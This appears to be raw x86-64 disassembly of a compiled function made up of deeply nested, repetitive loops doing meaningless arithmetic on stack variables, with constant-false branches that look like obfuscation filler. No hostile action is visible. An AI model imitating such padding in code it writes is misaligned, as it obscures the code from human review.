mov dword [rsp + 0x978], 0
jmp 0x14018c1a7
mov eax, dword [rsp + 0x978]
inc eax
mov dword [rsp + 0x978], eax
cmp dword [rsp + 0x978], 4
jge 0x14018c1f0
mov eax, dword [rsp + 0x978]
mov ecx, dword [rsp + 0x5d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5d8], eax
mov eax, dword [rsp + 0x5d8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018c1ee
imul eax, dword [rsp + 0x5d8], 3
mov dword [rsp + 0x5d8], eax
jmp 0x14018c197
mov eax, dword [rsp + 0x5dc]
imul eax, dword [rsp + 0xf80]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x130c], eax
cmp dword [rsp + 0x5dc], 6
jl 0x14018c161
jmp 0x14018c133
cmp dword [rsp + 0xf80], 0xa
jle 0x14018c2d1
mov eax, dword [rsp + 0xf80]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xf84], eax
mov dword [rsp + 0x5e0], 0xd
mov dword [rsp + 0x97c], 0
jmp 0x14018c26a
mov eax, dword [rsp + 0x97c]
inc eax
mov dword [rsp + 0x97c], eax
cmp dword [rsp + 0x97c], 4
jge 0x14018c2b3
mov eax, dword [rsp + 0x97c]
mov ecx, dword [rsp + 0x5e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e0], eax
mov eax, dword [rsp + 0x5e0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018c2b1
imul eax, dword [rsp + 0x5e0], 3
mov dword [rsp + 0x5e0], eax
jmp 0x14018c25a
mov eax, dword [rsp + 0xf84]
dec eax
mov dword [rsp + 0xf84], eax
cmp dword [rsp + 0xf84], 0
jg 0x14018c242
jmp 0x14018c0fd
mov eax, dword [rsp + 0x5f0]
imul eax, dword [rsp + 0xf94]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1310], eax
mov dword [rsp + 0xf88], 0
jmp 0x14018c30e
mov eax, dword [rsp + 0xf88]
inc eax
mov dword [rsp + 0xf88], eax
cmp dword [rsp + 0xf88], 5
jge 0x14018c4d7
mov dword [rsp + 0xf8c], 0x11
mov dword [rsp + 0x980], 0
jmp 0x14018c344
mov eax, dword [rsp + 0x980]
inc eax
mov dword [rsp + 0x980], eax
cmp dword [rsp + 0x980], 3
jge 0x14018c41f
mov eax, dword [rsp + 0x980]
inc eax
mov dword [rsp + 0x5e8], eax
mov eax, dword [rsp + 0x5e8]
inc eax
mov dword [rsp + 0x5e8], eax
cmp dword [rsp + 0x5e8], 4
jne 0x14018c40c
mov dword [rsp + 0x5e4], 0xd
mov dword [rsp + 0x984], 0
jmp 0x14018c3a8
mov eax, dword [rsp + 0x984]
inc eax
mov dword [rsp + 0x984], eax
cmp dword [rsp + 0x984], 4
jge 0x14018c3f1
mov eax, dword [rsp + 0x984]
mov ecx, dword [rsp + 0x5e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e4], eax
mov eax, dword [rsp + 0x5e4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018c3ef
imul eax, dword [rsp + 0x5e4], 3
mov dword [rsp + 0x5e4], eax
jmp 0x14018c398
mov eax, dword [rsp + 0x5e8]
imul eax, dword [rsp + 0xf8c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1314], eax
cmp dword [rsp + 0x5e8], 6
jl 0x14018c362
jmp 0x14018c334
cmp dword [rsp + 0xf8c], 0xa
jle 0x14018c4d2
mov eax, dword [rsp + 0xf8c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xf90], eax
mov dword [rsp + 0x5ec], 0xd
mov dword [rsp + 0x988], 0
jmp 0x14018c46b
mov eax, dword [rsp + 0x988]
inc eax
mov dword [rsp + 0x988], eax
cmp dword [rsp + 0x988], 4
jge 0x14018c4b4
mov eax, dword [rsp + 0x988]
mov ecx, dword [rsp + 0x5ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ec], eax
mov eax, dword [rsp + 0x5ec]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018c4b2
imul eax, dword [rsp + 0x5ec], 3
mov dword [rsp + 0x5ec], eax
jmp 0x14018c45b
mov eax, dword [rsp + 0xf90]
dec eax
mov dword [rsp + 0xf90], eax
cmp dword [rsp + 0xf90], 0
jg 0x14018c443
jmp 0x14018c2fe
cmp dword [rsp + 0x5f0], 0x23
jl 0x14018c0d1
jmp 0x14018c0a2
cmp dword [rsp + 0xf94], 0x28
jle 0x14018c713
mov eax, dword [rsp + 0xf94]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfa4], eax
mov dword [rsp + 0xf98], 0
jmp 0x14018c52b
mov eax, dword [rsp + 0xf98]
inc eax
mov dword [rsp + 0xf98], eax
cmp dword [rsp + 0xf98], 5
jge 0x14018c6f4
mov dword [rsp + 0xf9c], 0x11
mov dword [rsp + 0x98c], 0
jmp 0x14018c561
mov eax, dword [rsp + 0x98c]
inc eax
mov dword [rsp + 0x98c], eax
cmp dword [rsp + 0x98c], 3
jge 0x14018c63c
mov eax, dword [rsp + 0x98c]
inc eax
mov dword [rsp + 0x5f8], eax
mov eax, dword [rsp + 0x5f8]
inc eax
mov dword [rsp + 0x5f8], eax
cmp dword [rsp + 0x5f8], 4
jne 0x14018c629
mov dword [rsp + 0x5f4], 0xd
mov dword [rsp + 0x990], 0
jmp 0x14018c5c5
mov eax, dword [rsp + 0x990]
inc eax
mov dword [rsp + 0x990], eax
cmp dword [rsp + 0x990], 4
jge 0x14018c60e
mov eax, dword [rsp + 0x990]
mov ecx, dword [rsp + 0x5f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5f4], eax
mov eax, dword [rsp + 0x5f4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018c60c
imul eax, dword [rsp + 0x5f4], 3
mov dword [rsp + 0x5f4], eax
jmp 0x14018c5b5
mov eax, dword [rsp + 0x5f8]
imul eax, dword [rsp + 0xf9c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1318], eax
cmp dword [rsp + 0x5f8], 6
jl 0x14018c57f
jmp 0x14018c551
cmp dword [rsp + 0xf9c], 0xa
jle 0x14018c6ef
mov eax, dword [rsp + 0xf9c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfa0], eax
mov dword [rsp + 0x5fc], 0xd
mov dword [rsp + 0x994], 0
jmp 0x14018c688
mov eax, dword [rsp + 0x994]
inc eax
mov dword [rsp + 0x994], eax
cmp dword [rsp + 0x994], 4
jge 0x14018c6d1
mov eax, dword [rsp + 0x994]
mov ecx, dword [rsp + 0x5fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5fc], eax
mov eax, dword [rsp + 0x5fc]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018c6cf
imul eax, dword [rsp + 0x5fc], 3
mov dword [rsp + 0x5fc], eax
jmp 0x14018c678
mov eax, dword [rsp + 0xfa0]
dec eax
mov dword [rsp + 0xfa0], eax
cmp dword [rsp + 0xfa0], 0
jg 0x14018c660
jmp 0x14018c51b
mov eax, dword [rsp + 0xfa4]
sub eax, 2
mov dword [rsp + 0xfa4], eax
cmp dword [rsp + 0xfa4], 0
jg 0x14018c50e
mov dword [rsp + 0xfa8], 0
jmp 0x14018c730
mov eax, dword [rsp + 0xfa8]
inc eax
mov dword [rsp + 0xfa8], eax
cmp dword [rsp + 0xfa8], 5
jge 0x14018c8f9
mov dword [rsp + 0xfac], 0x11
mov dword [rsp + 0x998], 0
jmp 0x14018c766
mov eax, dword [rsp + 0x998]
inc eax
mov dword [rsp + 0x998], eax
cmp dword [rsp + 0x998], 3
jge 0x14018c841
mov eax, dword [rsp + 0x998]
inc eax
mov dword [rsp + 0x604], eax
mov eax, dword [rsp + 0x604]
inc eax
mov dword [rsp + 0x604], eax
cmp dword [rsp + 0x604], 4
jne 0x14018c82e
mov dword [rsp + 0x600], 0xd
mov dword [rsp + 0x99c], 0
jmp 0x14018c7ca
mov eax, dword [rsp + 0x99c]
inc eax
mov dword [rsp + 0x99c], eax
cmp dword [rsp + 0x99c], 4
jge 0x14018c813
mov eax, dword [rsp + 0x99c]
mov ecx, dword [rsp + 0x600]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x600], eax
mov eax, dword [rsp + 0x600]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018c811
imul eax, dword [rsp + 0x600], 3
mov dword [rsp + 0x600], eax
jmp 0x14018c7ba
mov eax, dword [rsp + 0x604]
imul eax, dword [rsp + 0xfac]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x131c], eax
cmp dword [rsp + 0x604], 6
jl 0x14018c784
jmp 0x14018c756
cmp dword [rsp + 0xfac], 0xa
jle 0x14018c8f4
mov eax, dword [rsp + 0xfac]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfb0], eax
mov dword [rsp + 0x608], 0xd
mov dword [rsp + 0x9a0], 0
jmp 0x14018c88d
mov eax, dword [rsp + 0x9a0]
inc eax
mov dword [rsp + 0x9a0], eax
cmp dword [rsp + 0x9a0], 4
jge 0x14018c8d6
mov eax, dword [rsp + 0x9a0]
mov ecx, dword [rsp + 0x608]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x608], eax
mov eax, dword [rsp + 0x608]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018c8d4
imul eax, dword [rsp + 0x608], 3
mov dword [rsp + 0x608], eax
jmp 0x14018c87d
mov eax, dword [rsp + 0xfb0]
dec eax
mov dword [rsp + 0xfb0], eax
cmp dword [rsp + 0xfb0], 0
jg 0x14018c865
jmp 0x14018c720
jmp 0x14018c06c
jmp 0x14018d1a7
mov dword [rsp + 0xfb4], 0
jmp 0x14018c920
mov eax, dword [rsp + 0xfb4]
inc eax
mov dword [rsp + 0xfb4], eax
cmp dword [rsp + 0xfb4], 5
jge 0x14018d1a7
mov dword [rsp + 0xfd0], 0x5c
mov dword [rsp + 0x9a4], 0
jmp 0x14018c956
mov eax, dword [rsp + 0x9a4]
inc eax
mov dword [rsp + 0x9a4], eax
cmp dword [rsp + 0x9a4], 6
jge 0x14018cd92
mov eax, dword [rsp + 0x9a4]
add eax, 9
mov dword [rsp + 0x624], eax
mov eax, dword [rsp + 0x624]
add eax, 3
mov dword [rsp + 0x624], eax
cmp dword [rsp + 0x624], 0x18
jne 0x14018cd7f
mov dword [rsp + 0xfb8], 0
jmp 0x14018c9b1
mov eax, dword [rsp + 0xfb8]
inc eax
mov dword [rsp + 0xfb8], eax
cmp dword [rsp + 0xfb8], 5
jge 0x14018cb7a
mov dword [rsp + 0xfbc], 0x11
mov dword [rsp + 0x9a8], 0
jmp 0x14018c9e7
mov eax, dword [rsp + 0x9a8]
inc eax
mov dword [rsp + 0x9a8], eax
cmp dword [rsp + 0x9a8], 3
jge 0x14018cac2
mov eax, dword [rsp + 0x9a8]
inc eax
mov dword [rsp + 0x610], eax
mov eax, dword [rsp + 0x610]
inc eax
mov dword [rsp + 0x610], eax
cmp dword [rsp + 0x610], 4
jne 0x14018caaf
mov dword [rsp + 0x60c], 0xd
mov dword [rsp + 0x9ac], 0
jmp 0x14018ca4b
mov eax, dword [rsp + 0x9ac]
inc eax
mov dword [rsp + 0x9ac], eax
cmp dword [rsp + 0x9ac], 4
jge 0x14018ca94
mov eax, dword [rsp + 0x9ac]
mov ecx, dword [rsp + 0x60c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60c], eax
mov eax, dword [rsp + 0x60c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018ca92
imul eax, dword [rsp + 0x60c], 3
mov dword [rsp + 0x60c], eax
jmp 0x14018ca3b
mov eax, dword [rsp + 0x610]
imul eax, dword [rsp + 0xfbc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1320], eax
cmp dword [rsp + 0x610], 6
jl 0x14018ca05
jmp 0x14018c9d7
cmp dword [rsp + 0xfbc], 0xa
jle 0x14018cb75
mov eax, dword [rsp + 0xfbc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfc0], eax
mov dword [rsp + 0x614], 0xd
mov dword [rsp + 0x9b0], 0
jmp 0x14018cb0e
mov eax, dword [rsp + 0x9b0]
inc eax
mov dword [rsp + 0x9b0], eax
cmp dword [rsp + 0x9b0], 4
jge 0x14018cb57
mov eax, dword [rsp + 0x9b0]
mov ecx, dword [rsp + 0x614]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x614], eax
mov eax, dword [rsp + 0x614]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018cb55
imul eax, dword [rsp + 0x614], 3
mov dword [rsp + 0x614], eax
jmp 0x14018cafe
mov eax, dword [rsp + 0xfc0]
dec eax
mov dword [rsp + 0xfc0], eax
cmp dword [rsp + 0xfc0], 0
jg 0x14018cae6
jmp 0x14018c9a1
mov eax, dword [rsp + 0x624]
imul eax, dword [rsp + 0xfd0]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1324], eax
mov dword [rsp + 0xfc4], 0
jmp 0x14018cbb6
mov eax, dword [rsp + 0xfc4]
inc eax
mov dword [rsp + 0xfc4], eax
cmp dword [rsp + 0xfc4], 5
jge 0x14018cd7f
mov dword [rsp + 0xfc8], 0x11
mov dword [rsp + 0x9b4], 0
jmp 0x14018cbec
mov eax, dword [rsp + 0x9b4]
inc eax
mov dword [rsp + 0x9b4], eax
cmp dword [rsp + 0x9b4], 3
jge 0x14018ccc7
mov eax, dword [rsp + 0x9b4]
inc eax
mov dword [rsp + 0x61c], eax
mov eax, dword [rsp + 0x61c]
inc eax
mov dword [rsp + 0x61c], eax
cmp dword [rsp + 0x61c], 4
jne 0x14018ccb4
mov dword [rsp + 0x618], 0xd
mov dword [rsp + 0x9b8], 0
jmp 0x14018cc50
mov eax, dword [rsp + 0x9b8]
inc eax
mov dword [rsp + 0x9b8], eax
cmp dword [rsp + 0x9b8], 4
jge 0x14018cc99
mov eax, dword [rsp + 0x9b8]
mov ecx, dword [rsp + 0x618]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x618], eax
mov eax, dword [rsp + 0x618]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018cc97
imul eax, dword [rsp + 0x618], 3
mov dword [rsp + 0x618], eax
jmp 0x14018cc40
mov eax, dword [rsp + 0x61c]
imul eax, dword [rsp + 0xfc8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1328], eax
cmp dword [rsp + 0x61c], 6
jl 0x14018cc0a
jmp 0x14018cbdc
cmp dword [rsp + 0xfc8], 0xa
jle 0x14018cd7a
mov eax, dword [rsp + 0xfc8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfcc], eax
mov dword [rsp + 0x620], 0xd
mov dword [rsp + 0x9bc], 0
jmp 0x14018cd13
mov eax, dword [rsp + 0x9bc]
inc eax
mov dword [rsp + 0x9bc], eax
cmp dword [rsp + 0x9bc], 4
jge 0x14018cd5c
mov eax, dword [rsp + 0x9bc]
mov ecx, dword [rsp + 0x620]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x620], eax
mov eax, dword [rsp + 0x620]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018cd5a
imul eax, dword [rsp + 0x620], 3
mov dword [rsp + 0x620], eax
jmp 0x14018cd03
mov eax, dword [rsp + 0xfcc]
dec eax
mov dword [rsp + 0xfcc], eax
cmp dword [rsp + 0xfcc], 0
jg 0x14018cceb
jmp 0x14018cba6
cmp dword [rsp + 0x624], 0x21
jl 0x14018c975
jmp 0x14018c946
cmp dword [rsp + 0xfd0], 0x32
jle 0x14018cfbc
mov eax, dword [rsp + 0xfd0]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xfe0], eax
mov dword [rsp + 0xfd4], 0
jmp 0x14018cdd4
mov eax, dword [rsp + 0xfd4]
inc eax
mov dword [rsp + 0xfd4], eax
cmp dword [rsp + 0xfd4], 5
jge 0x14018cf9d
mov dword [rsp + 0xfd8], 0x11
mov dword [rsp + 0x9c0], 0
jmp 0x14018ce0a
mov eax, dword [rsp + 0x9c0]
inc eax
mov dword [rsp + 0x9c0], eax
cmp dword [rsp + 0x9c0], 3
jge 0x14018cee5
mov eax, dword [rsp + 0x9c0]
inc eax
mov dword [rsp + 0x62c], eax
mov eax, dword [rsp + 0x62c]
inc eax
mov dword [rsp + 0x62c], eax
cmp dword [rsp + 0x62c], 4
jne 0x14018ced2
mov dword [rsp + 0x628], 0xd
mov dword [rsp + 0x9c4], 0
jmp 0x14018ce6e
mov eax, dword [rsp + 0x9c4]
inc eax
mov dword [rsp + 0x9c4], eax
cmp dword [rsp + 0x9c4], 4
jge 0x14018ceb7
mov eax, dword [rsp + 0x9c4]
mov ecx, dword [rsp + 0x628]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x628], eax
mov eax, dword [rsp + 0x628]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018ceb5
imul eax, dword [rsp + 0x628], 3
mov dword [rsp + 0x628], eax
jmp 0x14018ce5e
mov eax, dword [rsp + 0x62c]
imul eax, dword [rsp + 0xfd8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x132c], eax
cmp dword [rsp + 0x62c], 6
jl 0x14018ce28
jmp 0x14018cdfa
cmp dword [rsp + 0xfd8], 0xa
jle 0x14018cf98
mov eax, dword [rsp + 0xfd8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfdc], eax
mov dword [rsp + 0x630], 0xd
mov dword [rsp + 0x9c8], 0
jmp 0x14018cf31
mov eax, dword [rsp + 0x9c8]
inc eax
mov dword [rsp + 0x9c8], eax
cmp dword [rsp + 0x9c8], 4
jge 0x14018cf7a
mov eax, dword [rsp + 0x9c8]
mov ecx, dword [rsp + 0x630]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x630], eax
mov eax, dword [rsp + 0x630]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018cf78
imul eax, dword [rsp + 0x630], 3
mov dword [rsp + 0x630], eax
jmp 0x14018cf21
mov eax, dword [rsp + 0xfdc]
dec eax
mov dword [rsp + 0xfdc], eax
cmp dword [rsp + 0xfdc], 0
jg 0x14018cf09
jmp 0x14018cdc4
mov eax, dword [rsp + 0xfe0]
sub eax, 5
mov dword [rsp + 0xfe0], eax
cmp dword [rsp + 0xfe0], 0
jg 0x14018cdb7
mov dword [rsp + 0xfe4], 0
jmp 0x14018cfd9
mov eax, dword [rsp + 0xfe4]
inc eax
mov dword [rsp + 0xfe4], eax
cmp dword [rsp + 0xfe4], 5
jge 0x14018d1a2
mov dword [rsp + 0xfe8], 0x11
mov dword [rsp + 0x9cc], 0
jmp 0x14018d00f
mov eax, dword [rsp + 0x9cc]
inc eax
mov dword [rsp + 0x9cc], eax
cmp dword [rsp + 0x9cc], 3
jge 0x14018d0ea
mov eax, dword [rsp + 0x9cc]
inc eax
mov dword [rsp + 0x638], eax
mov eax, dword [rsp + 0x638]
inc eax
mov dword [rsp + 0x638], eax
cmp dword [rsp + 0x638], 4
jne 0x14018d0d7
mov dword [rsp + 0x634], 0xd
mov dword [rsp + 0x9d0], 0
jmp 0x14018d073
mov eax, dword [rsp + 0x9d0]
inc eax
mov dword [rsp + 0x9d0], eax
cmp dword [rsp + 0x9d0], 4
jge 0x14018d0bc
mov eax, dword [rsp + 0x9d0]
mov ecx, dword [rsp + 0x634]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x634], eax
mov eax, dword [rsp + 0x634]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018d0ba
imul eax, dword [rsp + 0x634], 3
mov dword [rsp + 0x634], eax
jmp 0x14018d063
mov eax, dword [rsp + 0x638]
imul eax, dword [rsp + 0xfe8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1330], eax
cmp dword [rsp + 0x638], 6
jl 0x14018d02d
jmp 0x14018cfff
cmp dword [rsp + 0xfe8], 0xa
jle 0x14018d19d
mov eax, dword [rsp + 0xfe8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xfec], eax
mov dword [rsp + 0x63c], 0xd
mov dword [rsp + 0x9d4], 0
jmp 0x14018d136
mov eax, dword [rsp + 0x9d4]
inc eax
mov dword [rsp + 0x9d4], eax
cmp dword [rsp + 0x9d4], 4
jge 0x14018d17f
mov eax, dword [rsp + 0x9d4]
mov ecx, dword [rsp + 0x63c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c], eax
mov eax, dword [rsp + 0x63c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018d17d
imul eax, dword [rsp + 0x63c], 3
mov dword [rsp + 0x63c], eax
jmp 0x14018d126
mov eax, dword [rsp + 0xfec]
dec eax
mov dword [rsp + 0xfec], eax
cmp dword [rsp + 0xfec], 0
jg 0x14018d10e
jmp 0x14018cfc9
jmp 0x14018c910
xor eax, eax
cmp eax, 1
je 0x14018df6b
xor eax, eax
test eax, eax
je 0x14018d895
mov dword [rsp + 0xff0], 0
jmp 0x14018d1d9
mov eax, dword [rsp + 0xff0]
inc eax
mov dword [rsp + 0xff0], eax
cmp dword [rsp + 0xff0], 5
jge 0x14018d890
mov dword [rsp + 0x100c], 0x33
mov dword [rsp + 0x680], 0
jmp 0x14018d20f
mov eax, dword [rsp + 0x680]
inc eax
mov dword [rsp + 0x680], eax
cmp dword [rsp + 0x680], 6
jge 0x14018d561
mov eax, dword [rsp + 0x680]
add eax, 2
mov dword [rsp + 0x658], eax
mov eax, dword [rsp + 0x658]
add eax, 3
mov dword [rsp + 0x658], eax
cmp dword [rsp + 0x658], 0xb
jne 0x14018d54e
mov dword [rsp + 0xff4], 0
jmp 0x14018d26a
mov eax, dword [rsp + 0xff4]
inc eax
mov dword [rsp + 0xff4], eax
cmp dword [rsp + 0xff4], 5
jge 0x14018d3c0
mov dword [rsp + 0xff8], 7
mov dword [rsp + 0x684], 0
jmp 0x14018d2a0
mov eax, dword [rsp + 0x684]
inc eax
mov dword [rsp + 0x684], eax
cmp dword [rsp + 0x684], 2
jge 0x14018d343
mov eax, dword [rsp + 0x684]
inc eax
mov dword [rsp + 0x644], eax
mov eax, dword [rsp + 0x644]
inc eax
mov dword [rsp + 0x644], eax
cmp dword [rsp + 0x644], 2
jne 0x14018d334
mov dword [rsp + 0x640], 0x15
mov eax, dword [rsp + 0x640]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018d308
mov eax, dword [rsp + 0x640]
shl eax, 1
mov dword [rsp + 0x640], eax
jmp 0x14018d319
mov eax, dword [rsp + 0x640]
add eax, 3
mov dword [rsp + 0x640], eax
mov eax, dword [rsp + 0x644]
imul eax, dword [rsp + 0xff8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1334], eax
cmp dword [rsp + 0x644], 3
jl 0x14018d2be
jmp 0x14018d290
cmp dword [rsp + 0xff8], 5
jle 0x14018d3bb
mov eax, dword [rsp + 0xff8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xffc], eax
mov dword [rsp + 0x648], 0x15
mov eax, dword [rsp + 0x648]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018d390
mov eax, dword [rsp + 0x648]
shl eax, 1
mov dword [rsp + 0x648], eax
jmp 0x14018d3a1
mov eax, dword [rsp + 0x648]
add eax, 3
mov dword [rsp + 0x648], eax
mov eax, dword [rsp + 0xffc]
dec eax
mov dword [rsp + 0xffc], eax
cmp dword [rsp + 0xffc], 0
jg 0x14018d360
jmp 0x14018d25a
mov eax, dword [rsp + 0x658]
imul eax, dword [rsp + 0x100c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1338], eax
mov dword [rsp + 0x1000], 0
jmp 0x14018d3f8
mov eax, dword [rsp + 0x1000]
inc eax
mov dword [rsp + 0x1000], eax
cmp dword [rsp + 0x1000], 5
jge 0x14018d54e
mov dword [rsp + 0x1004], 7
mov dword [rsp + 0x688], 0
jmp 0x14018d42e
mov eax, dword [rsp + 0x688]
inc eax
mov dword [rsp + 0x688], eax
cmp dword [rsp + 0x688], 2
jge 0x14018d4d1
mov eax, dword [rsp + 0x688]
inc eax
mov dword [rsp + 0x650], eax
mov eax, dword [rsp + 0x650]
inc eax
mov dword [rsp + 0x650], eax
cmp dword [rsp + 0x650], 2
jne 0x14018d4c2
mov dword [rsp + 0x64c], 0x15
mov eax, dword [rsp + 0x64c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018d496
mov eax, dword [rsp + 0x64c]
shl eax, 1
mov dword [rsp + 0x64c], eax
jmp 0x14018d4a7
mov eax, dword [rsp + 0x64c]
add eax, 3
mov dword [rsp + 0x64c], eax
mov eax, dword [rsp + 0x650]
imul eax, dword [rsp + 0x1004]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x133c], eax
cmp dword [rsp + 0x650], 3
jl 0x14018d44c
jmp 0x14018d41e
cmp dword [rsp + 0x1004], 5
jle 0x14018d549
mov eax, dword [rsp + 0x1004]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1008], eax
mov dword [rsp + 0x654], 0x15
mov eax, dword [rsp + 0x654]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018d51e
mov eax, dword [rsp + 0x654]
shl eax, 1
mov dword [rsp + 0x654], eax
jmp 0x14018d52f
mov eax, dword [rsp + 0x654]
add eax, 3
mov dword [rsp + 0x654], eax
mov eax, dword [rsp + 0x1008]
dec eax
mov dword [rsp + 0x1008], eax
cmp dword [rsp + 0x1008], 0
jg 0x14018d4ee
jmp 0x14018d3e8
cmp dword [rsp + 0x658], 0xf
jl 0x14018d22e
jmp 0x14018d1ff
cmp dword [rsp + 0x100c], 0x19
jle 0x14018d718
mov eax, dword [rsp + 0x100c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x101c], eax
mov dword [rsp + 0x1010], 0
jmp 0x14018d5a3
mov eax, dword [rsp + 0x1010]
inc eax
mov dword [rsp + 0x1010], eax
cmp dword [rsp + 0x1010], 5
jge 0x14018d6f9
mov dword [rsp + 0x1014], 7
mov dword [rsp + 0x68c], 0
jmp 0x14018d5d9
mov eax, dword [rsp + 0x68c]
inc eax
mov dword [rsp + 0x68c], eax
cmp dword [rsp + 0x68c], 2
jge 0x14018d67c
mov eax, dword [rsp + 0x68c]
inc eax
mov dword [rsp + 0x660], eax
mov eax, dword [rsp + 0x660]
inc eax
mov dword [rsp + 0x660], eax
cmp dword [rsp + 0x660], 2
jne 0x14018d66d
mov dword [rsp + 0x65c], 0x15
mov eax, dword [rsp + 0x65c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018d641
mov eax, dword [rsp + 0x65c]
shl eax, 1
mov dword [rsp + 0x65c], eax
jmp 0x14018d652
mov eax, dword [rsp + 0x65c]
add eax, 3
mov dword [rsp + 0x65c], eax
mov eax, dword [rsp + 0x660]
imul eax, dword [rsp + 0x1014]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1340], eax
cmp dword [rsp + 0x660], 3
jl 0x14018d5f7
jmp 0x14018d5c9
cmp dword [rsp + 0x1014], 5
jle 0x14018d6f4
mov eax, dword [rsp + 0x1014]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1018], eax
mov dword [rsp + 0x664], 0x15
mov eax, dword [rsp + 0x664]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018d6c9
mov eax, dword [rsp + 0x664]
shl eax, 1
mov dword [rsp + 0x664], eax
jmp 0x14018d6da
mov eax, dword [rsp + 0x664]
add eax, 3
mov dword [rsp + 0x664], eax
mov eax, dword [rsp + 0x1018]
dec eax
mov dword [rsp + 0x1018], eax
cmp dword [rsp + 0x1018], 0
jg 0x14018d699
jmp 0x14018d593
mov eax, dword [rsp + 0x101c]
sub eax, 2
mov dword [rsp + 0x101c], eax
cmp dword [rsp + 0x101c], 0
jg 0x14018d586
mov dword [rsp + 0x1020], 0
jmp 0x14018d735
mov eax, dword [rsp + 0x1020]
inc eax
mov dword [rsp + 0x1020], eax
cmp dword [rsp + 0x1020], 5
jge 0x14018d88b
mov dword [rsp + 0x1024], 7
mov dword [rsp + 0x690], 0
jmp 0x14018d76b
mov eax, dword [rsp + 0x690]
inc eax
mov dword [rsp + 0x690], eax
cmp dword [rsp + 0x690], 2
jge 0x14018d80e
mov eax, dword [rsp + 0x690]
inc eax
mov dword [rsp + 0x66c], eax
mov eax, dword [rsp + 0x66c]
inc eax
mov dword [rsp + 0x66c], eax
cmp dword [rsp + 0x66c], 2
jne 0x14018d7ff
mov dword [rsp + 0x668], 0x15
mov eax, dword [rsp + 0x668]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018d7d3
mov eax, dword [rsp + 0x668]
shl eax, 1
mov dword [rsp + 0x668], eax
jmp 0x14018d7e4
mov eax, dword [rsp + 0x668]
add eax, 3
mov dword [rsp + 0x668], eax
mov eax, dword [rsp + 0x66c]
imul eax, dword [rsp + 0x1024]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1344], eax
cmp dword [rsp + 0x66c], 3
jl 0x14018d789
jmp 0x14018d75b
